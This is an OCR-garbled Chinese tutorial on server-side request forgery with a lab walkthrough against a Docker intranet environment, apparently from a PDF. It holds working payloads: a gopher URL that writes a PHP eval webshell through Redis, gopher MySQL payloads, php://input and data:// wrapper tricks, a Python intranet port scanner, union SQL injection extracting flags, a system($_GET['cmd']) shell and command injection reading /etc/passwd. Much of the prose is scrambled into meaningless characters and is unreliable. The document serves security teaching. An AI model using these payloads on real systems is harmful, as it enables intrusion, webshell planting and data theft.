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SSRF (Server Side Request Forgery, RS2k 1hiE) 2 —FMIEHE @I
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1 SSRF i R T

1.1 URL 4B 5%

Internet FHEH— MM IIEEF — I ZFRIRIZ, BEHRZA URL (Uniform
Resource Locator, Z—HRIRENER). B www HE—RBENMIRE.

URL RYZEAG40 T

URL = scheme: [//authority]path[?query] [#fragment]

authority BB AT 3 5
[userinfo@]host[:port]

scheme H—&BK/NERGURMFFTERAR, RAIBFIRAT AAITML . 40 http. https.
ftp &,

authority #1, userinfo @— BT, o AFXIREVEIER http IEKRHETHRRIE, 1B
—BARA, BIAL username:password, M@ &EE.

host 2 K ENLAR G =219, RNEEZMAN RS 2= LIRIFNR, —R T INZEZTE IPv4.
IPV6,

port ARG ERIHD . SFHHMIEBERIARD, WEARIARORN, port FERITINE
B

path ALIEK BB RS R, —Rth /" RTPE.

query & GET #iEF e, BTFREFmEANEERRSRSW, 27 REARR,

fragment AR ID, EASHWEHEIRS=E, —RATEALRNERES.

1.2 SSRF RmiAfZRR

LB 177 SSRF JmiEHY php RABIANT:

<?php
surl = $ GET['url'];
$ch = curl init();
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curl setopt ($ch, CURLOPT URL, Surl);

$ch, CURLOPT HEADER, false);

$ch, CURLOPT RETURNTRANSFER, true);
curl setopt ($ch, CURLOPT FOLLOWLOCATION, true);

$res = curl exec($ch);

curl setopt

curl setopt

(
(
(
(

header ('content-type: image/png');
curl close(Sch);

echo Sres;

?>

RPN AR PR AN— N RBRERE url, RERSS[NFT curl_exec()kih
% url, FEEEEIBREEIRAR .

40 http://192.168.186.128/ssrf/index.php?url=http://127.0.0.1/ssrf/img.png

B % Gt @ @ -

= C A FE$ | 192168.186.128/5s1/

{ERFRAL B X IREE A A9 url SRS IR, MR EENIT curl_exec)REL, FridIX
HETBSBERE url EARSmERIT. @, file///etc/passwd, A FILE ik
FRBUR SR8 B CAY/etc/passwd XHERE .
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/etc/passwd

1.3 SSRF il & 5 Mz

SSRF BB —REAEFFAMIRRNG RS, WIHTRSHSZIE. B
RS . MIERERS. WREABRIER (40 wordpress xmirpc.php) . XHFAIERRS (40 XML
fRAT) % . 7EXS7F7E SSRF MMM At TIRES, o] MK R EEEIRG) . S35 H WAL,
IR ERRT LT,

file//: NXHRFEHIRBCHABTHIML, 20 file///etc/passwd.

dict//: B LMY, 78 RFC 2009 A TTHEIA . E Y B fr2 8 Webster protocol,

HAWE FinE R RHR 0 E L7 Dict RERME A HLFEA TCP iR O 2628,
gopher//: HARMXEEIRS, 7 SSRF RERTHEREZHMN. FH
gopher YA, BT HITAEIAY URL T] IXSEIR TS E MRS ar kX ERETE, W
HTTP iE3K. MYSQLIERE, FTIMHBEEIFET .
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/etc/passwd

2 SSRF RN EARARESE

2.1 SSRF P4 o IR 4R M

SSRF i o] IX B3R M AR 55 =5 B9 P A i O FFAUIB R AN A B 33 =155, 1A, % 3 gopher
AN http GBI % B BB R KB I B M AR REAE HM RS ENER BT

# encoding:utf-8
import requests as req

import time

ports = ['22','80','3306','6379','8080"','9000"]
session = req.Session()
for i in range(128,140,1):
ip = '192.168.186.%d"' % i
for port in ports:
urll =
'http://192.168.186.128/ssrf/index.php?url=http://%$s:%s' %
(ip,port)
url2 =
'http://192.168.186.128/ssrf/index.php?url=gopher://%s:%s' %
(ip, port)
try:
res = session.get(urll, timeout=1)
if len(res.content) > O:
print (ip,port,' is open')
continue
try:
res = session.get(url2, timeout=1)
if len(res.content) > O0:
print (ip,port,' is open')
continue
except:
print (ip,port,' is open')
except:
break

print ('end")
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In [11]: runfile( 'C:/Users Z/untitledd.py ', wdir="C:/Users/2
192.168.186.128 22 is open

@ dis open

306 1is open

2
192.168.186.128 8
192.168.186.128 3
end

2.2 SSRF P4 ™ 3% iRt BN

PHP fAHMY (B2 : php thifil - EARRALDLIE - HEE (cnblogs.com))

file:// — VilRIAH /RS
http:// — Vild] HTTP (s) Mk
ftp:// — VilA] FTP(s) URLs
php:// — V&N /HiHR (1/0 streams)
zlib:// — JE4R

data:// — ¥l (RFC 2397)
glob:// — EHRILAD KA AR L
phar:// — PHP JA#Y4

ssh2:// — Secure Shell 2
rar:// — RAR

ogg:// — HHR

expect:// — MELXHX MR

php.ini &% B
® 7t php.ini EEBWANEZERSE allow_url_fopen. allow_url_include.
® allow_url_fopen:BRIAMER ON. 2 url B AYE EWMLIA 8] X,
® allow_url_include:BIANER OFF. RAWEE url ERVE EMILE XXM

BT A F I
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https://www.cnblogs.com/endust/p/11804767.html

hill= »=52 offfon offfon Hile=file://Di/soft/phpStudy MWWW/phpcode bt

php://ilter »=52 offfon offfon Hile=php:/Ailter/read=convertbasef4-encode/resource=./index.php
php:#/input »=52 offfon on Zile=php://input [POST DATA] <?php phpinfo(?=
zZip:// »=52 offfon offfon Hile=zip://D:/soft/phpStudy MWW Hile. ziph23phpcode.bit
Hile=compress bzip2://D./soft/phpStudy MWW file bz2

compress bzip2// ==52 offfon offfon [or]

Hile=compress bzip2:// file.bz2
Hile=compress zlib://D./soft/phpStudy/ WWW /file gz
»>=52 off/on off/on [or]
Hile=compress.zlib:// /ile.gz
Hile=data://text/plain,<?php phpinfo()?=
[or]
‘Hile=data://text/plain;basetd PDOwaHAgcGhwaWsmbygpPz4d=
==52 an on HEr :
Hile=data:text/plain,<?php phpinfo{}?>
[or]
2file=data:text/plain:bazefd PDIwaHAqcGhwa\WSmbygpPz4=

2.3 gopher Y A M Bk 515K hiE

compress zlib://

data://

gopher MY Z2—MEEREKER S, fbIF Internet FMXXHARMEMERS|, HEHAP
M Internet F9—4bH 2] B —4, £ WWW IR BT, Gopher & Internet FHRFEMNEER
KT A, Gopher i mth Z2RFEEMNU S, £ tep70 ik 0 . F I ML ] AT EE I ME) Redis.

Mysql. FastCGl. Ftp &%, thof|&i% GET. POST i&E¥K. X#HE T SSRF MIKHHE.

gopher AR
gopher://IP:port/ TCP/IP HiRifK

® XiX GET. POST ##7

&K% GET Bk
Hi& BTTP HHE £
URL 4. B #eEl 43478%0d%0a, HTTP WR/5IM%$0d%0a fREHELER
KI& gopher WM, PHNEH TP — & E i kim 1

£3% POST &K

POST 5 GET £ ZMIXJ: B 4 MSEHBESH
P EALIE Content-Type, Content-Length, host, post HIZ

® {hEMM redis £

Redis @—MfEFERS. Key-Value $IEE, —zTERAMNA, FHEAZBH
#ETE 127.0.0.1: 6379, 1H Redis BRINELE LAY, AT DUBIT SSRF BRI KRRNA
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EIR M Redis fR%s, oIERIE. M. &, HAPHEIE. FA Redis —H&RE root BafY, Fr
AT AR A BRI S M AE S HINEE (config set TJINIREBERFFERTR, config set ] UIRE
REXMHR) MEYHBEANEIE. LTS ssh-keygen A$AE %, FIAITRIESKH# shell,
webshell %,

£ Redis HREREHFMHFNBERT, REZHN—TEMIE Redis FiE. XETTEH
gopherus T B 3R 3 4 p{ redis 89 phpshell #3E . (F TH# redis #IE S %
https://blog.csdn.net/L.2329794714/article/details/121443719)

*F gopher fZHIBYEIRIFEFT K url 4RAL:

gopher://127.0.0.1:6379/ %$252A1%250D%250A%25248%250D%250Af1lushall
%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250
D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520eva
1%2528%2524 POST%255B%2527shell%2527%255D%2529%253B%253F%253E%250
A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%
25243%250D%250Aset%250D%250A%25243%250D%250Ad1irs250D%250A%252420%
250D%250A/var/www/html/upload$250D%250A%252A4%250D%250A%25246%250
D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%2
50Adbfilename%250D%250A%25249%250D%250Ashell .php%250D%250A%252A1%
250D%250A%25244%250D%250Asave3s250D%250A%250A

root )25 redis J5 R EHEM SSRG IFilE = FH gopher tFTA redis 89 6379 % 0 .

9/ 42


https://blog.csdn.net/L2329794714/article/details/121443719

® fhiEAM fastCGl iR

fastCGl HLR—MBEML, 1 HTTP i —4F, MEHAITEIRZ RN —MBIE . HTTP
RN SR FNAR 55 =8 R B4 A AT RUR SR ML, XSRS HTTP SKF0 HTTP A AR
WELEMHIEE, U TCP AR KEE REH=TEMG, REFFEHZRANBLEIESH
B, FREXEZNAAFTENEIE FUHTTP hX MU TEIRE 4RSS
fastcgi WA NI 2RSS 28 A FFIRE MBS BRI THIR TR AL, Fastcgi HXE S
A~ record 4%, record B header 1 body —ijt, BRZ =% [EIMHRIX —F4% R fastcgi AL
N RIXAEE R, 1B RnBBMNEER B4R, #iTIEERE FRERBR
BRIZMNH R i FIR B 25 AR &S8R Bl 1
record FYKEIE 8 NFT, body BIK/NEHLERH contentlenght 5 (FFT), %18
Wmr
typedef struct {
/* Header */
unsigned char version; // WA
unsigned char type; // AR record 2R

unsigned char requestIdBl; // A&IX record X MMJIER id
unsigned char requestIdBO;

unsigned char contentLengthBl; // body &HKIK/M
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unsigned char contentLengthBO;
unsigned char paddingLength; // FiAhH K/

unsigned char reserved; / /IR F B

/* Body */

unsigned char contentData[contentLength]; //body W&EHHE
unsigned char paddingData[paddingLength]; / /BT EHE

} FCGI_Record;

type FERIET

enum FCGI Type {

FCGI_BEGIN REQUEST =1, // (WEB->FastCGI) Fa—IKIERMFHLH

FCGI_ABORT REQUEST =2, // (WEB->FastCGI) F/RZIL—WiER

FCGI_END REQUEST = 3, // (FastCGI->WEB) iERCHbH5ELE

FCGI_PARAMS = 4, // (WEB->FastCGI) R—A-M CGI f&fpfkid
A &

FCGI_STDIN =5, // (WEB->FastCGI) Fi~la CGI FEFALIEIIAR
HERIN

FCGI_STDOUT = 6, // (FastCGI->WEB) /N CGI F2/F Mttt

FCGI_STDERR = 7, // (FastCGI->WEB) i~ CGI F&/FMFriERT 1%
it

FCGI_DATA =8, // (WEB->FastCGI) [ CGI F/F&isf&isr4L
I

FCGI_GET_ VALUES =9, // (WEB->FastCGI) [ FastCGI F&fFifila—
LIRS

FCGI_GET VALUES RESULT = 10, // (FastCGI->WEB) ]in¥ i 14k R

FCGI_UNKNOWN TYPE = 11 // RESH, wraefEnkE

b8

php-fom W HSEIRIE

LR E php FEZEH: auto_prepend_file = php://input;allow_url_include = On, %
EHFT php IR Z BT84 auto_prepend._file XEEIAZ, php://input thFE 2 POST IR A,
XREFEATVTT UFE FastCGI 1MYLAT body 334 BRI, XHSEZEIER ESKHLT php-fom E
BARBHITHIEE .

£ 8 Gopherus T B4 5§, payload

B RS basebd HBH—EIEARD, HEREE EH— php XHHBITERR.,
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BIA 4 Y, payload &% https://blog.csdn.net/L2329794714/article/details/122196805
® {hERM mysql #iE

H MYSQL & Pt FAR &S=5 62 TCP/IP B FRBER, ] UM SSRF ImIRGEIEITE
MYSQL fRS=simfin A £, ERA HH MYSQL AZBBABNMIER T, —RRABAX
# MYSQL SR EFIE R .

X BB [EHRE T IUF) A Gopherus T B4 f{ payload.

2.4 SSRF & AT AR

IP 155k
{# 3 Enclosed alphanumerics X% IP #REFS Wit 9FE, FEADSRER.
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https://blog.csdn.net/L2329794714/article/details/122196805

IP ¥+t Hlsed

‘onnection #0

BN, IP i —LAEER S 5%, t0 windows T, 0483 0.0.0.0, T 7E linux 3 127.0.0.1,
FERLERT P bl AR EA 0, 0 http://127.1 /€3 http://127.0.0.1,

302 Bkagsed e
¥ SSRF iFiE S X EANR url #H{T T ILRAIE, ERXEEEEER, moUUEEAEE
NEEERSHLE, AEILHEERFERREBFRG MR url,
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http://127.0.0.1/
http://127.0.0.1/

URL 4B {4 f#4h

a0 http://a@127.0.0.1:80@baidu.com,

PHP £4 parse+url()EXEI#Y host 4 baidu.com, i curl BXZ|E host 4 127.0.0,
AEIES X URL B9 77 & A EE

DNS Rebinding

FEFRLER TG, 35 SSRF AT IR ee I TEAYIER : BIT XL AR URL 2B host
#47 DNS @4, 3REUIP, FIMTEEM, & ENGEA curl #7iEK (XEFEAR url htE
ANHRIEEIR) . XEBEFEA curl £HET oK DNS f#tf, XHF] IS FK DNS AR Bl R
FIAY IP RKLI B .

3 WimHrA

ssrf-vuls-docker: RBFIREEk ENHEHIT
Docker: 20.10.14
docker-compose: 1.29.2

T &% Debian 10

2% docker
sudo apt-get update

sudo apt-get install docker

sudo apt-get install docker-compose

8# ssrf-vuls-docker
TEEEZ X HF%ENE] Debian 8241 F f#IE

$ cd ~/ ssrf-vuls-docker
$ sudo docker load --input 172.72.23.21.tar #FEISANIEEBG
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http://a@127.0.0.1:80@baidu.com

$ sudo docker-compose up -d #iB1T

- L
L
L

: L
L
L
L
L

: L
L

KBEHE A T
ss!RF

172.74.23.21
[rm———— et RN ¥ ¥ i = ) R ot ¢ o 1 —
i | | | | I | 1
J U L] —= [ J— —— _—D [}
A ZETN SaLi SSHT XXE Tomcat Redis F&##1X Redis HiAME  MySQL
172.72.23.22  172.72.23.23 172.72.23.24 172.72.23.25 172.72.23.26 172.72.23.27 172.72.23.28 172.72.23.29
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172.72.23.21 XA ARSEAEAY Web 80 577 SSRF JmiE, FH 80 imAMEE T4
MY 8080, ILETIEEBITIXS 8080 i H Tl IXMER) SSRF ImEAEX 172 BFrHMAY
EMAE .

AGEEALEET SSRF EUHKEHE.

K & 15

I ERiZ AL http//192.168.186.147:8080/

G A FEE | 192.168.196.147:8080 oA 3¢ @ ‘

EHISIERERR  mm m=

VR AZIREN
BB RS
e NAEHI lusong.store izt
C A FE2 | 192.168.186.147:8080 At g Gl @ @ -

EHSRIEEY &1 =%
me #HmFZ4

IR ERARIREN

HRAEZERRRL

HUEBENEKRMMFEETTER, 2R AR URL K.
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127.0.0.1 BHIREBAI T -

FATL R R T L

MRRART), MuEIERT 127.001 89 80 wwH , thEt 2T HRNNEHRE, Fr
MEMHBE TERF ENEE AR, BENEFARER, BEELERETHUHEIMA
HE SSRF RyIEIE S, BREX A ANEARTIER, SETMNARKRERNAMNE N
fIER

I7E S8 N PO I SRR ER — e U B, file:///etc/passwd

EHAEERRIRSL

file:///etc/passwd RIHREBUNT :

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon: fusr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync: /bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
1p:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp: /usr/sbin/nologin
proxyix:13:13:proxy:/bin:/usr/sbin/nologin
www-dataix:33:33:www-data:/var/www: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:ix:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
ircix:39:39:ircd: /var/run/ircd: /usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody :x:65534:65534: nobody: /nonexistent: /usr/sbin/nologin
_apt:ix:180:65534:: /nonexistent: /usr/sbin/nologin

BINEEE T A XHER, MAESIRKIKIGFE SSRF RIEBAAYIAN 1P HitF
B, W AYBIATHNMEER: file///etc/hosts
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/etc/passwd

ERAEEIERIRL

file:///etc/hosts RIREBUNT:

127.0.0.1 localhost

HE localhost ip6-localhost ip6-loopback
fe@@::0 ip6-localnet

ffee::0 ip6-mcastprefix

ff@2::1 ip6-allnodes

ffe2::2 ip6-allrouters

172.72.23.21 e62b2675ead9

o] I W BIAL AR A Ml 172.72.23.21, BRALE T 3Rmh of AXIX N 5 7= Btk
TERBE

172.72.23.1/24 - SSRF iFM A MO

F A Burp Suite A http WMCR#ITIRRK, FRREHIREKEH RS R

Attack type: [ Cluster bomb

POST /HTTRA

Host: 192,168,186, 147:8080

UserAgent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; n:101.0) Gecke/20100101 Firefox/101.0
Accept: text/html application/xhtml+xml applicationfxml; g=0.9 image/avif image/webp **;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encading: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Caontent-Length: 34

Origin: http:/f192.168.186.147:8080

Connection: close

Referer: http:/192.166.1686.147:8080/

Upgrade-Insecure-Requests: 1

url=http%3A%2F %2F172.72.23. §21§%3A5822§
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Payload set: [1 |v] Payload count: 254

Payload type: lNumhers |v] Request count: 1,524

Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: ® Sequential () Random
From: 1

To: 254

Step: 1

How many:

You can define one or more payload sets. The number of payload sets depends on the attack type define:

Payload set: l? |'J Payload count: 6

Payload type: lSimpIe list |'J Request count: 1,524

EJ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Enter a new rfem

Paste | |22

—— |80

Load .. | | 8030

—— | 3306 >
m 6379

Clear | | 9000
| Add |

—

Add from list |v]
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| Filter: Showing all items

|2

608
609
610
611

100
101
102
103

8080
8080
8080
8080

200
200
200
200

2195
2195
2195
2195

172.
172.
172.
172.
172.
172.
172.
172.
172.
172.

e

T

Jfon o [ et [ |

1B I R O] 52 5 1t BRI Y i 1 B9 TR L

72
72
72
72
72
72
72
72
72
72

ik 172.72.23.22--80

.23
023
0230
0230
0230
0230
023
023
023
023

21==80
22--80
23--80 3306
24--80
25--80
26--8080
27T==637%9
28==0
29--3306

IERAZEIARIRu,

http://172.72.23.22:80 FYIRARINT:

Hello CodeExec

20 / 42

.1 --80 8080 22 #Z&HAIX/MUERIEIATE EML
HNBLEFTESENLN W ip




—MERENTTE, REEXHTABAEE, —RXMERTEHEH#RIT-LEFHWG,
BRAERIREERLD, FRNEFPBIRIAERNES T, XERR T UEEM Burp Suite
HTHE.

J
Configure the positions where payloads will be inserted into the base request. The attack type determines the

Attack type: lSniper

POST / HTTR/ 1

Host: 192.168.1686.147:8080

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html application/xhtml+xml applicationfxml;q=0.9 image/avif imagefwebp ™ q=0.8
Accept-Language: zh-CN,zh;q=08 zh-TW;q=0.7 ,zh-HI;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encading: gzip, deflate

Content-Type: application/s-www-farm-urlencoded

Content-Length: 34

Crigin: http:/(1592.168.186.147:8080

Connection: close

Referer: http://192.168.186.147:8080/

Upgrade-Insecure-Requests: 1

url=http%3A%2F %2F172.72.23. 22%3A80 5/ test.php§

XEN ARG, MAREETHRANTFREGE (XEEEFHUR)

You can define one or more payload sets. The number of payload sets depends on the attack type def

Payload set: [1 ,vJ Payload count: 6

Payload type: [Simple list ,vJ Reguest count: 6

liJ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste {phpinfo.php

/robots _txt
Load .. | | jshell.php

findex_php »>
Rem

fupload

Clear /Mag php

WG

Add Enter a new item

| Add from list ... >
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6|I| Filter: Showing all items |@FI 1461 14

Request | Payload Status Error Timeout | Length ¥ | Comment
3 Jshell.php 200 0 ] 2908
4 findex_php 200 ] ] 2508
2 frobots. txt 200 O ] 222
0 200 [ L] 2224
6 lag.php 200 O ] 2224
5 fupload 200 O O 2222

Raw | Headers | Hex | HTML | Render |

/i8] phpinfo.php

http://172.72.23.22/phpinfo.php AIREZOT:

Php

Systen Linux bc25632d933d 5.10. 0-kali3-andé4 #1 SUF Debian 5.10.13-1kalil (2021-02-08) xB6_64
Build Date Oct B 2019 05:33:38

Server API Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path /ete/php/7. 3/apache2

iflal/shellphp, HI—NEZ8EY system —A[EARD:

http://172.72.23.22/shell.php BYIREBUNTF:

<?php
highlight file( FILE );

error_reporting(@);

system($ GET['cmd']);
’>

F3% flag
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http://172.72.23.22/shell.php?emd=1s%20/ RIIREEUNTF

<?php
highlight file( FILE );
error_reporting(@);

system($_GET['cmd']);
>

bin
boot
dev
etc
flag
ome
lib
libs4
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr

var

cat J5REX
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http://172.72.23.22/shell.php?cmd=cat%20/flag AYIREZIN T :

<?php
highlight file( FILE );

error_reporting(0);

system($ GET["emd']);
?>

Tlag{a8ebc494c479c9T@3Tc353b3ba81040d}

PAE172.72.23. 22 RGN BRI BERN T, XEMRELRBERARSEX AN
¥ £ ARE RIERARSLIA B AW, EE AEACKEEY B 924> sSRE iwiRE, XAEEH
AT T o

Wi 172.72.23.23
BN O FF R 80 #3306
http 18] 80 im A

1E SSRFSEANSHIN: http://172.72.23.23

Hello, SQLTI!

L:;!f?:i AN /‘l‘\_’% D lf}j_';l‘)

EHRS

YR UEE| PN

iA ID fIif)

B2 GET Y SOLJEA
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http://172.72.23.23/

ZIRE http://172.72.23.23/?id=1

C A T4 | 192.168.186.147:80¢ o 3 A S ?a 3o

1] My BEAT

1 ZhangSan Pl T ek

SqUFANFRIEE RN, FALMK, BHrERUR, FERENR, BERBE, B3R,
BH 5, BEE XERA—ER,

BEEERE S
http://172.72.23.23/2id=-

'%$20union%20select%201%2C2%2C3%2Cdatabase () $3B%23
ZERA: db

EERA:

http://172.72.23.23/?id=-
'$20union%20select%201%2C2%2C3%2Cgroup_concat (table name) $20from

$20information schema.tables%20where%20table schema%3D'db'%3B%23

ZERA:

flag_is_here,users

EE flag_is_here_users 9514

http://172.72.23.23/?1d=-

'%$20union%20select%201%2C2%2C3%2Cgroup_concat (column name) $20fro
m320information schema.columns%20where%20table name%3D'flag is he
re'%3B%23

#HR

content
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http://172.72.23.23/?id=1

&E1EE flag

http://172.72.23.23/?1id=-
'%20union%20select%$201%2C2%2C3%2Ccontent%20froms20flag is here%3
B%23

D H P4 BEAE

1 2 flag{63cafe619721609713aedbddfdf4bba0}

XA E R —FERE, FARMNME 3306 @ AMARE, TUNEK—TE2E
A=EEIRL.

B

Gopherus 4 f{ payload

Payload

gopher://172.72.23.23:3306/ %a3%00%00%01%85%a6%£f£%01%00%00%00%01%
21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%500%00%500%00%500%00%00
%00%500%72%6£%6£%574%500%00%6d%79%573%71%56Cc%5£%6e%61%574%69%76%65%5£%7
0%561%73%73%77%6£%72%64%500%66%503%5£%56£%73%05%4Cc%69%6e%75578%0Cc%5E%
63%6Cc%69%65%6e%74%5£%56e%61%56d%65%508%6Cc%69%62%6d%579%73%571%6c%504%5F
%70%69%64%505%32%37%32%35%35%0£%55£%63%6Cc%69%65%6e%74%55£%76%65%725%7
3%69%6£%6e%506%35%2e%37%2e%32%32%509%5£570%6Cc%561%74%566%6£%572%6d%06%
78%38%36%5£%36%34%0c%70%72%6£%567%72%561%6d%55£%6e%61%6d%65%505%6d%79
%73%71%6c%10%00%00%00%03%73%68%6£%77%520%64%61%74%61%62%61%573%65%7
3%3b%01%00%00%00%01
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http://172.72.23.23/?id=-1'%20union%20select%201%2C2%2C3%2Ccontent%20from%20flag_is_here%3B%23
http://172.72.23.23/?id=-1'%20union%20select%201%2C2%2C3%2Ccontent%20from%20flag_is_here%3B%23
http://172.72.23.23/?id=-1'%20union%20select%201%2C2%2C3%2Ccontent%20from%20flag_is_here%3B%23

gopher://172.72.23.23:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%009
ROIRARUNT:

AZSCHEMATAZDatabaselSCHEMA_NAME ! @ ©@II0€@ "BEAdbIAAinformation_schemal@ImysqliAfperformance_schemalddtestd "
‘

LB flag B payload

Gopherus 4 A%, payload

gopher://172.72.23.23:3306/ %a3%00%00%01%85%a6%£f£%01%00%00%00%01%
21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%500%00%500%00%500%00%00
%00%500%72%6£%6£%574%00%00%6d%79%573%71%56Cc%5£%6e361%574%69%76%65%5£%7
0%561%73%73%77%6£%72%64%500%66%503%5£%56£%73%05%4Cc%69%6e%75578%0c35f%
63%6Cc%69%65%6e%74%5£56e%61%56d%65%08%6Cc%569%62%6d%579%73%571%6c504%5F
%70%569%64%505%32%37%32%35%35%0£%55£%63%56Cc%69%65%6e%74%5£%76%65%725%7
3%69%6£%6e%506%35%2e%37%2e%32%32%509%5£570%6Cc%561%74%566%6£%572%56d%06%
78%38%36%5£%36%34%0c%70%72%6£%567%72%561%56d%55£%6e%61%6d%65%505%6d%79
%73%71%6c%23%00%00%00%03%75%73%565%20%564%62%53b%73%65%6Cc%65%63%74%2
0%52a%20%66%72%6£%56d%20%566%6Cc561%6755£%69%73%5£%68%65%72%565%3b%01%
00%500%00%01

gopher://172.72.23.23:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%

AORERUNT

Y

5.5.5-10.1.19-MariaDB@EV&V " Bf @@ !B2@E$4w! 724Ptvuhmysql_native_password@dBEaa
JB>B2defAdbflag_is_hereflag_is_hereficontentBcontent! ,BI3PEI" 'B&flag{63cafe619721609713aedbddfdf4bbad}HEa"
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WiF 172.72.23.24

RIFHT 80O

http BEIER—MMENHXINEREA, HBEMANEIEA P,

BUNXERERARS®

<. TRFEGSHITEE, BREWANEIER POST, RAXERT, TTIMA gopher k4T post

IR
{# F§ Burp Suite N —& 1@ POST IR, HEMT:

MiB&: Accept-Encoding: gzip, deflate

POST / HTTP/1.1

Host: 172.72.23.24:80

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
Gecko/20100101 Firefox/101.0

Accept:

x64; rv:101.0)

text/html, application/xhtml+xml, application/xml;g=0.9, image/avif,

image/webp, */*;g=0.8

Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5, en-

US;g=0.3,en;g9=0.2

Content-Type: application/x-www-form-urlencoded
Content-Length: 34

Origin: http://172.72.23.24:80

Connection: close

Referer: http://1172.72.23.24:80/

Upgrade-Insecure-Requests: 1

ip=127.0.0.1%3Bcat+%2Fetc%2Fpasswd

URL Zg#5
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LN YU U LT TV, YUl £ I UL U, Y B YU

n/x-www-form-urlencoded

LulEILEYUL 1900
Connection: close
Content-Type: text/html; chars

24:30
. <Idoctype htmi=
'3.24:80/ Sl <html lang="en">
ists 1 Do an active scan <head>
Do a passive scan <meta charset="utf-8">
2Fetc%2Fpasswd Send to Intruder Ctrl+l <meta name="viewport" con
Send to Repeater Cil+R <link rel="stylzshest" href="
O <link rel="shaortcut ican” hre
<title=Hello, SSRF!</title>
Send to Comparer <theads
Send to Decoder <body>
Show response in browser <nav class="navbar navbar-2
SerTEs D e . <3 class="navbar-brand" hre
<hutton class="navbar-toggl
Engagement tools >

Change request method

Change body encoding

aria-label="Toggle navigation"=
<span class="navbar-toggh
</button=

Copy URL

<div class="collapse navhar-
Copy as curl command

<ul class="navbar-nav mr-a
<li class="naw-item active
<a class="nav-link" href

Copy to file
Paste from file

Save item <span class="sronly™
P <fa>
Save entire history i

Paste URL as request <li class="naw-itern active

<a class="nav-link" href
nan class="sronly™

Add to site map

Convert selection

URL-encode all characters (Unicode)

URL-encod ¢ @l URL-decode Ctrl+Shift+U
-encode as you e
C youye o FIL * | URL-encode key characters Ctrl+U
t tri+
_ ! ! EiaESES il URL-encode all characters
-_J Type a search term Copy Cti+C | Construct string &

Paste Ctrl+V u u &

Message editor help
Burp Repeater help

EMNREIERRIN @

Payload:

gopher://172.72.23.24:80/ %$50%4£%53%54%20%2£%20%48%54%54%50%2£%31
%2e%31%0d%0a%48%6£%73%74%3a%20%31%37%32%2e%37%32%2e%32%33%2e%325%3
4%3a%38%30%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6£%57a%69%
6Cc%6Cc%61%2£%35%2e%30%20%28%57%69%6e%64%6£%77%73%20%4e%$54%20%31%30
%2e%30%3b%20%57%69%6e%$36%34%30%20%78%36%34%3b%20%72%76%3a%31%30%3
1%2e%30%29%20%47%65%63%6b%6£%52£%32%30%31%30%30%31%30%31%20%46%69%
72%565%66%6£%78%2£%31%30%31%2e%30%0d%0a%41%63%63%65%70%74%3a%20%74
%65%78%74%2£%68%74%6d%6c%2c%61%570%70%6Cc%69%63%61%74%69%6£%6e%2£%7
8%68%74%6d%6Cc%2b%78%6d%6c%2c%61%570%70%6Cc%69%63%61%74%69%6£%6e%2£%
78%6d%6c%3b%71%53d%30%2e%39%2c%69%6d%61%67%65%2£%61%76%69%66%2c%69
%6d%61%67%565%2£%77%65%62%70%2c%2a%2£%2a%3b%71%3d%30%2e%38%0d%0a%4
1%563%63%65%70%74%2d%4c%61%6e%67%575%61%67%65%3a%20%7a%68%2d%43%4e%
2c%7a%68%3b%71%3d%30%2e%38%2¢c%7a%68%2d%54%57%3b%71%3d%30%2e%37%2¢C
$7a%68%2d%48%4b%3b%71%3d%30%2e%35%2¢c%65%6e%2d%$55%53%3b%71%3d%30%2
€%33%2c%65%6e%3b%71%53d%30%2e%32%0d%0a%43%6£%6e%574%65%6e%74%2d%54%
79%70%65%3a%20%61%70%70%6Cc%69%63%61%74%69%6£%6e%2£%578%2d%77%77%77
$2d%66%6£%72%6d%2d%75%72%6Cc%65%6e%63%6£%564%65%64%0d%0a%43%6£%6e%7
4%565%6e%74%2d%4c%65%6e%67%74%68%3a%20%33%34%0d%0a%4£%572%69%67%69%
6€%3a%20%68%74%74%70%3a%2£%2£%31%37%32%2e%37%32%2e%$32%33%2e%32%34
%$3a%38%30%0d%0a%43%6£%6e%6e%65%63%74%69%6£%6e%3a%20%63%6Cc%6£%73%6
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BR:

C A Tz | 192.168.186.147:8080

(
[@] => PING 127.8.8.1 (127.8.8.1) 56(84) bytes of data.
